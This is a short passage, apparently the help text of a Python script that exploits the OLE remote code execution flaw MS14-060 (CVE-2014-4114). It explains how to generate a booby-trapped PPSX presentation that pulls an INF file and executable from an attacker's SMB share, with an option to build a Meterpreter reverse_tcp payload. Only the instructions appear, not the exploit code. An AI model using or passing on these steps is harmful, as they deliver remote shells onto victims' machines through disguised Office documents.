OLE Remote Code Execution vulnerability identified as MS14-060 (CVE-2014-4114)
Simply pass filename of resulting PPSX and IP Address of remote machine hosting the
share. You can add content to the PPSX file after it has been created.
The script will also create the INF file and an optional Meterpreter
reverse_tcp executable with the -m switch. Alternatively, you can host your own exectuble payload.
Host the INF and GIF (EXE) in an SMB share called "share".
Note: Requires python-pptx''')
